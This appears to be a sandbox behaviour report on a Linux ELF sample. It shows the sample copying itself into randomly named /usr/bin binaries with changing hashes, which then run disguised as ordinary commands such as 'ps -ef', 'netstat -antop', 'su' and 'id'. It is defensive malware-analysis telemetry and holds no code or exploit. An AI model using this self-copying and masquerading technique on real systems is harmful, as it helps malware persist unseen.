Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6442, Parent PID: 6440

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: koygrrjkon PID: 6442, Parent PID: 6440

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	/usr/bin/koygrrjkon "ps -ef" 6225
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: koygrrjkon PID: 6445, Parent PID: 6442

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6443, Parent PID: 6225

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6444, Parent PID: 6443

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: koygrrjkon PID: 6444, Parent PID: 6443

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	/usr/bin/koygrrjkon pwd 6225
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: koygrrjkon PID: 6448, Parent PID: 6444

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6446, Parent PID: 6225

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6447, Parent PID: 6446

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: koygrrjkon PID: 6447, Parent PID: 6446

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	/usr/bin/koygrrjkon "cd /etc" 6225
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: koygrrjkon PID: 6451, Parent PID: 6447

General

Start time:	13:41:07
Start date:	05/10/2022
Path:	/usr/bin/koygrrjkon
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	f52674a9af3a42b5b8edf7c4ca4a5159

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6455, Parent PID: 6225

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6456, Parent PID: 6455

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6456, Parent PID: 6455

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	/usr/bin/uvilsmwwhk pwd 6225
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6457, Parent PID: 6456

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6458, Parent PID: 6225

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6459, Parent PID: 6458

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6459, Parent PID: 6458

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	/usr/bin/uvilsmwwhk su 6225
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6461, Parent PID: 6459

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6460, Parent PID: 6225

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6462, Parent PID: 6460

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6462, Parent PID: 6460

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	/usr/bin/uvilsmwwhk "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6467, Parent PID: 6462

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6463, Parent PID: 6225

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6464, Parent PID: 6463

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6464, Parent PID: 6463

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	/usr/bin/uvilsmwwhk "route -n" 6225
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6469, Parent PID: 6464

General

Start time:	13:41:14
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6465, Parent PID: 6225

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6466, Parent PID: 6465

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6466, Parent PID: 6465

General

Start time:	13:41:13
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	/usr/bin/uvilsmwwhk top 6225
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: uvilsmwwhk PID: 6468, Parent PID: 6466

General

Start time:	13:41:14
Start date:	05/10/2022
Path:	/usr/bin/uvilsmwwhk
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	599e094cfebd26a090e3c4d84dea2eec

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6472, Parent PID: 6225

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6473, Parent PID: 6472

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ilrbozcctp PID: 6473, Parent PID: 6472

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	/usr/bin/ilrbozcctp "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: ilrbozcctp PID: 6474, Parent PID: 6473

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6475, Parent PID: 6225

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6476, Parent PID: 6475

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ilrbozcctp PID: 6476, Parent PID: 6475

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	/usr/bin/ilrbozcctp "ps -ef" 6225
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: ilrbozcctp PID: 6479, Parent PID: 6476

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6477, Parent PID: 6225

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6478, Parent PID: 6477

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ilrbozcctp PID: 6478, Parent PID: 6477

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	/usr/bin/ilrbozcctp "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: ilrbozcctp PID: 6482, Parent PID: 6478

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6480, Parent PID: 6225

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6481, Parent PID: 6480

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ilrbozcctp PID: 6481, Parent PID: 6480

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	/usr/bin/ilrbozcctp "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: ilrbozcctp PID: 6485, Parent PID: 6481

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6483, Parent PID: 6225

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6484, Parent PID: 6483

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ilrbozcctp PID: 6484, Parent PID: 6483

General

Start time:	13:41:19
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	/usr/bin/ilrbozcctp gnome-terminal 6225
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: ilrbozcctp PID: 6486, Parent PID: 6484

General

Start time:	13:41:20
Start date:	05/10/2022
Path:	/usr/bin/ilrbozcctp
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	84093139500509d4abf65bf4368660c3

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6489, Parent PID: 6225

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6490, Parent PID: 6489

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: gwqnqvffue PID: 6490, Parent PID: 6489

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	/usr/bin/gwqnqvffue "echo \"find\"" 6225
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: gwqnqvffue PID: 6491, Parent PID: 6490

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6492, Parent PID: 6225

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6493, Parent PID: 6492

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: gwqnqvffue PID: 6493, Parent PID: 6492

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	/usr/bin/gwqnqvffue pwd 6225
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: gwqnqvffue PID: 6496, Parent PID: 6493

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6494, Parent PID: 6225

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6495, Parent PID: 6494

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: gwqnqvffue PID: 6495, Parent PID: 6494

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	/usr/bin/gwqnqvffue "ps -ef" 6225
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: gwqnqvffue PID: 6500, Parent PID: 6495

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6497, Parent PID: 6225

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6498, Parent PID: 6497

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: gwqnqvffue PID: 6498, Parent PID: 6497

General

Start time:	13:41:25
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	/usr/bin/gwqnqvffue "ps -ef" 6225
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: gwqnqvffue PID: 6503, Parent PID: 6498

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6499, Parent PID: 6225

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6501, Parent PID: 6499

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: gwqnqvffue PID: 6501, Parent PID: 6499

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	/usr/bin/gwqnqvffue "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: gwqnqvffue PID: 6502, Parent PID: 6501

General

Start time:	13:41:26
Start date:	05/10/2022
Path:	/usr/bin/gwqnqvffue
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	583764d38d6a3b24a072ba12c518ef07

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6507, Parent PID: 6225

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6508, Parent PID: 6507

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6508, Parent PID: 6507

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	/usr/bin/cbsypxwvhg whoami 6225
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6509, Parent PID: 6508

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6510, Parent PID: 6225

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6511, Parent PID: 6510

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6511, Parent PID: 6510

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	/usr/bin/cbsypxwvhg gnome-terminal 6225
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6513, Parent PID: 6511

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6512, Parent PID: 6225

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6514, Parent PID: 6512

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6514, Parent PID: 6512

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	/usr/bin/cbsypxwvhg "ifconfig eth0" 6225
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6517, Parent PID: 6514

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6515, Parent PID: 6225

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6516, Parent PID: 6515

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6516, Parent PID: 6515

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	/usr/bin/cbsypxwvhg id 6225
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6520, Parent PID: 6516

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6518, Parent PID: 6225

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6519, Parent PID: 6518

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6519, Parent PID: 6518

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	/usr/bin/cbsypxwvhg "ls -la" 6225
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: cbsypxwvhg PID: 6521, Parent PID: 6519

General

Start time:	13:41:31
Start date:	05/10/2022
Path:	/usr/bin/cbsypxwvhg
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ae6611a97543fac2cdd1c7b430747d8f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6524, Parent PID: 6225

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6525, Parent PID: 6524

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qozdbjhhph PID: 6525, Parent PID: 6524

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	/usr/bin/qozdbjhhph id 6225
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: qozdbjhhph PID: 6526, Parent PID: 6525

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6527, Parent PID: 6225

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6528, Parent PID: 6527

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qozdbjhhph PID: 6528, Parent PID: 6527

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	/usr/bin/qozdbjhhph ls 6225
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: qozdbjhhph PID: 6530, Parent PID: 6528

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6529, Parent PID: 6225

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6531, Parent PID: 6529

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qozdbjhhph PID: 6531, Parent PID: 6529

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	/usr/bin/qozdbjhhph "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: qozdbjhhph PID: 6534, Parent PID: 6531

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

